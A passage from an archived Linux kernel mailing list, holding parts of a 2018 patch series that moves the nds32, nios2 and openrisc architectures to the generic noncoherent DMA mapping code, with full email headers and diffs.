+	switch (dir) {
+	case DMA_FROM_DEVICE:
+		break;
+	case DMA_TO_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_wb_range(start, start + size);
+		break;
+	default:
+		BUG();
 	}
-}
 
-static int nds32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-			    int nents, enum dma_data_direction dir,
-			    unsigned long attrs)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		void *virt;
-		unsigned long pfn;
-		struct page *page = sg_page(sg);
-
-		sg->dma_address = sg_phys(sg);
-		pfn = page_to_pfn(page) + sg->offset / PAGE_SIZE;
-		page = pfn_to_page(pfn);
-		if (PageHighMem(page)) {
-			virt = kmap_atomic(page);
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-			kunmap_atomic(virt);
-		} else {
-			if (sg->offset > PAGE_SIZE)
-				panic("sg->offset:%08x > PAGE_SIZE\n",
-				      sg->offset);
-			virt = page_address(page) + sg->offset;
-			consistent_sync(virt, sg->length, dir, FOR_CPU);
-		}
-	}
-	return nents;
-}
-
-static void nds32_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-			       int nhwentries, enum dma_data_direction dir,
-			       unsigned long attrs)
-{
+	kunmap_atomic(addr);
 }
 
-static void
-nds32_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-			      size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_CPU);
-}
-
-static void
-nds32_dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				 size_t size, enum dma_data_direction dir)
-{
-	consistent_sync((void *)phys_to_virt(handle), size, dir, FOR_DEVICE);
-}
-
-static void
-nds32_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nents,
-			  enum dma_data_direction dir)
-{
-	int i;
-
-	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_CPU);
+	void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
+	unsigned long start = (unsigned long)addr;
+
+	switch (dir) {
+	case DMA_TO_DEVICE:
+		break;
+	case DMA_FROM_DEVICE:
+	case DMA_BIDIRECTIONAL:
+		cpu_dma_inval_range(start, start + size);
+		break;
+	default:
+		BUG();
 	}
-}
-
-static void
-nds32_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			     int nents, enum dma_data_direction dir)
-{
-	int i;
 
-	for (i = 0; i < nents; i++, sg++) {
-		char *virt =
-		    page_address((struct page *)sg->page_link) + sg->offset;
-		consistent_sync(virt, sg->length, dir, FOR_DEVICE);
-	}
+	kunmap_atomic(addr);
 }
-
-struct dma_map_ops nds32_dma_ops = {
-	.alloc = nds32_dma_alloc_coherent,
-	.free = nds32_dma_free,
-	.map_page = nds32_dma_map_page,
-	.unmap_page = nds32_dma_unmap_page,
-	.map_sg = nds32_dma_map_sg,
-	.unmap_sg = nds32_dma_unmap_sg,
-	.sync_single_for_device = nds32_dma_sync_single_for_device,
-	.sync_single_for_cpu = nds32_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu = nds32_dma_sync_sg_for_cpu,
-	.sync_sg_for_device = nds32_dma_sync_sg_for_device,
-};
-
-EXPORT_SYMBOL(nds32_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 11/20] nios2: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:36 +0200
Lines: 248
Approved: news@gmane.org
Message-ID: <20180511075945.16548-12-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025585 3212 195.159.176.226 (11 May 2018 07:59:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:59:45 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:59:40 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2xn-0000ie-H9
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:59:39 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 9DBF6C98;
	Fri, 11 May 2018 08:01:49 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 1D1BBC7D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:48 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 108316A2
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:01:46 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=+rBZp5MrPhKUBBPkwFpz3SZeiLKiihKQZowXAPIW6cI=;
	b=Iy0OSu/JuAvMA3deVJgWGlCdh
	G0Zny3mkc4fPb8EEPd/EfO2ZA5TpVZmE9kYoWHpgHbeJCqi7/qZjizSCJqnf//cA3fYychRB+VQBv
	5VOZRFtF7MZIhZYjintU2bnOl+4Yhzn2Orb7RfxqzDyKFW7eawN5X9CG2nmgJnDEIAdbFIxcum4O7
	EwAy4Fjq5cNnm86JmR0X44lVIoY4hzV0aOIkPr+sWS829QpAvZP+U4wKXXwLfXL0S735OA8NFfQcN
	GPDP3b4psUSIQo8xFhbVGujiXGZm35JyjVWc08embvZDIndfqKs6n5Cpd8YAA8d7QJcRuZqHi9NP/
	sA3O16neg==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2zT-0008Gr-Al; Fri, 11 May 2018 08:01:24 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24178 gmane.linux.kernel.cross-arch:44022 gmane.linux.ports.parisc:28605 gmane.linux.ports.sh.devel:57011 gmane.linux.ports.hexagon:1708 gmane.linux.kernel:2764212 gmane.linux.ports.alpha:5033 gmane.linux.ports.sparc:27860 gmane.linux.kernel.arc:3874 gmane.linux.ports.arm.kernel:649161
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24178>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/nios2/Kconfig                   |   3 +
 arch/nios2/include/asm/Kbuild        |   1 +
 arch/nios2/include/asm/dma-mapping.h |  20 ----
 arch/nios2/mm/dma-mapping.c          | 139 +++------------------------
 4 files changed, 17 insertions(+), 146 deletions(-)
 delete mode 100644 arch/nios2/include/asm/dma-mapping.h

diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 3d4ec88f1db1..92035042cf62 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -1,6 +1,9 @@
 # SPDX-License-Identifier: GPL-2.0
 config NIOS2
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 	select TIMER_OF
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/nios2/include/asm/Kbuild b/arch/nios2/include/asm/Kbuild
index d232da2cbb38..24f6ee1ee69b 100644
--- a/arch/nios2/include/asm/Kbuild
+++ b/arch/nios2/include/asm/Kbuild
@@ -8,6 +8,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/nios2/include/asm/dma-mapping.h b/arch/nios2/include/asm/dma-mapping.h
deleted file mode 100644
index 6ceb92251da0..000000000000
--- a/arch/nios2/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2011 Tobias Klauser <tklauser-93Khv+1bN0NyDzI6CaY1VQ@public.gmane.org>
- * Copyright (C) 2009 Wind River Systems Inc
- *
- * This file is subject to the terms and conditions of the GNU General
- * Public License.  See the file COPYING in the main directory of this
- * archive for more details.
- */
-
-#ifndef _ASM_NIOS2_DMA_MAPPING_H
-#define _ASM_NIOS2_DMA_MAPPING_H
-
-extern const struct dma_map_ops nios2_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &nios2_dma_ops;
-}
-
-#endif /* _ASM_NIOS2_DMA_MAPPING_H */
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index 4be815519dd4..4af9e5b5ba1c 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -12,18 +12,18 @@
 
 #include <linux/types.h>
 #include <linux/mm.h>
-#include <linux/export.h>
 #include <linux/string.h>
-#include <linux/scatterlist.h>
 #include <linux/dma-mapping.h>
 #include <linux/io.h>
 #include <linux/cache.h>
 #include <asm/cacheflush.h>
 
-static inline void __dma_sync_for_device(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	switch (direction) {
+	void *vaddr = phys_to_virt(paddr);
+
+	switch (dir) {
 	case DMA_FROM_DEVICE:
 		invalidate_dcache_range((unsigned long)vaddr,
 			(unsigned long)(vaddr + size));
@@ -42,10 +42,12 @@ static inline void __dma_sync_for_device(void *vaddr, size_t size,
 	}
 }
 
-static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	switch (direction) {
+	void *vaddr = phys_to_virt(paddr);
+
+	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_FROM_DEVICE:
 		invalidate_dcache_range((unsigned long)vaddr,
@@ -58,8 +60,8 @@ static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
 	}
 }
 
-static void *nios2_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -80,125 +82,10 @@ static void *nios2_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void nios2_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long addr = (unsigned long) CAC_ADDR((unsigned long) vaddr);
 
 	free_pages(addr, get_order(size));
 }
-
-static int nios2_dma_map_sg(struct device *dev, struct scatterlist *sg,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-
-	for_each_sg(sg, sg, nents, i) {
-		void *addr = sg_virt(sg);
-
-		if (!addr)
-			continue;
-
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		__dma_sync_for_device(addr, sg->length, direction);
-	}
-
-	return nents;
-}
-
-static dma_addr_t nios2_dma_map_page(struct device *dev, struct page *page,
-			unsigned long offset, size_t size,
-			enum dma_data_direction direction,
-			unsigned long attrs)
-{
-	void *addr = page_address(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync_for_device(addr, size, direction);
-
-	return page_to_phys(page) + offset;
-}
-
-static void nios2_dma_unmap_page(struct device *dev, dma_addr_t dma_address,
-		size_t size, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		__dma_sync_for_cpu(phys_to_virt(dma_address), size, direction);
-}
-
-static void nios2_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-		int nhwentries, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	void *addr;
-	int i;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	for_each_sg(sg, sg, nhwentries, i) {
-		addr = sg_virt(sg);
-		if (addr)
-			__dma_sync_for_cpu(addr, sg->length, direction);
-	}
-}
-
-static void nios2_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	__dma_sync_for_cpu(phys_to_virt(dma_handle), size, direction);
-}
-
-static void nios2_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	__dma_sync_for_device(phys_to_virt(dma_handle), size, direction);
-}
-
-static void nios2_dma_sync_sg_for_cpu(struct device *dev,
-		struct scatterlist *sg, int nelems,
-		enum dma_data_direction direction)
-{
-	int i;
-
-	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
-}
-
-static void nios2_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sg, int nelems,
-		enum dma_data_direction direction)
-{
-	int i;
-
-	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_device(sg_virt(sg), sg->length, direction);
-
-}
-
-const struct dma_map_ops nios2_dma_ops = {
-	.alloc			= nios2_dma_alloc,
-	.free			= nios2_dma_free,
-	.map_page		= nios2_dma_map_page,
-	.unmap_page		= nios2_dma_unmap_page,
-	.map_sg			= nios2_dma_map_sg,
-	.unmap_sg		= nios2_dma_unmap_sg,
-	.sync_single_for_device	= nios2_dma_sync_single_for_device,
-	.sync_single_for_cpu	= nios2_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu	= nios2_dma_sync_sg_for_cpu,
-	.sync_sg_for_device	= nios2_dma_sync_sg_for_device,
-};
-EXPORT_SYMBOL(nios2_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 12/20] openrisc: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:37 +0200
Lines: 239
Approved: news@gmane.org
Message-ID: <20180511075945.16548-13-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025600 4057 195.159.176.226 (11 May 2018 08:00:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:00:00 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 09:59:54 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2y1-0000xW-Tp
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 09:59:54 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id F195CC87;
	Fri, 11 May 2018 08:02:04 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 21167C7D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:04 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id F2D3F683
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:02 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=ArzbOtkYTANRsiGaXx5Yvjmfb5lT2+rt7trPCUU+OVk=;
	b=Q7/OpAt+7rnSABdjE5OH1JyUh
	zNN3SXZyC618shKXuRK5OiZ0hAW4WJxavcbN0tjgQCisiVnjWTIBMSvKuhLOsP9XoX+qz3lA32Axz
	TU04HkDtxyKWxd6pjkdCCkLFbYbZoQprwUW5mW3+/RSpK6Zrn5pVc1Xe1+GQXKT7N7+oLqoccdnEz
	r8ScQ6f5CIbkhYYSeYlbgSXhegcOlmp0RumJaumKHP45aCwza6quMiazLXhCCaS2kuHXecVeDIje3
	nRckJOSbNBJxJO/8GzOGFCQ+aLu+JLi3VojSiXCqFP5I4Jl1tQPaWfZ1K+Uoo/NLV4oC1uI9rGtE0
	g/LENhVQA==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2zY-0008Ig-OR; Fri, 11 May 2018 08:01:36 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24179 gmane.linux.kernel.cross-arch:44023 gmane.linux.ports.parisc:28606 gmane.linux.ports.sh.devel:57012 gmane.linux.ports.hexagon:1709 gmane.linux.kernel:2764213 gmane.linux.ports.alpha:5034 gmane.linux.ports.sparc:27861 gmane.linux.kernel.arc:3875 gmane.linux.ports.arm.kernel:649162
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24179>

Switch to the generic noncoherent direct mapping implementation.

Fix sync_single_for_device to do the same cache coherency operations as
the more tested map_single path, as both should transfer ownership to
the device.

Remove the sync_single_for_cpu implementation as no cache coherency
operations are used in the more commonly used unmap_single case, both
of which transfer ownership to the CPU.

Implement the missing sync_sg_for_device operation, matching the cache
coherency operations in sync_single_for_device and map_{single,sg}.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/openrisc/Kconfig                   |   2 +
 arch/openrisc/include/asm/Kbuild        |   1 +
 arch/openrisc/include/asm/dma-mapping.h |  35 --------
 arch/openrisc/kernel/dma.c              | 109 +++---------------------
 4 files changed, 13 insertions(+), 134 deletions(-)
 delete mode 100644 arch/openrisc/include/asm/dma-mapping.h

diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index 9ecad05bfc73..65e3c574c9d3 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -6,6 +6,8 @@
 
 config OPENRISC
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 	select OF
 	select OF_EARLY_FLATTREE
 	select IRQ_DOMAIN
diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
index f05c722a21f8..e663a996b612 100644
--- a/arch/openrisc/include/asm/Kbuild
+++ b/arch/openrisc/include/asm/Kbuild
@@ -6,6 +6,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/openrisc/include/asm/dma-mapping.h b/arch/openrisc/include/asm/dma-mapping.h
deleted file mode 100644
index e212a1f0b6d2..000000000000
--- a/arch/openrisc/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * OpenRISC Linux
- *
- * Linux architectural port borrowing liberally from similar works of
- * others.  All original copyrights apply as per the original source
- * declaration.
- *
- * OpenRISC implementation:
- * Copyright (C) 2010-2011 Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>
- *
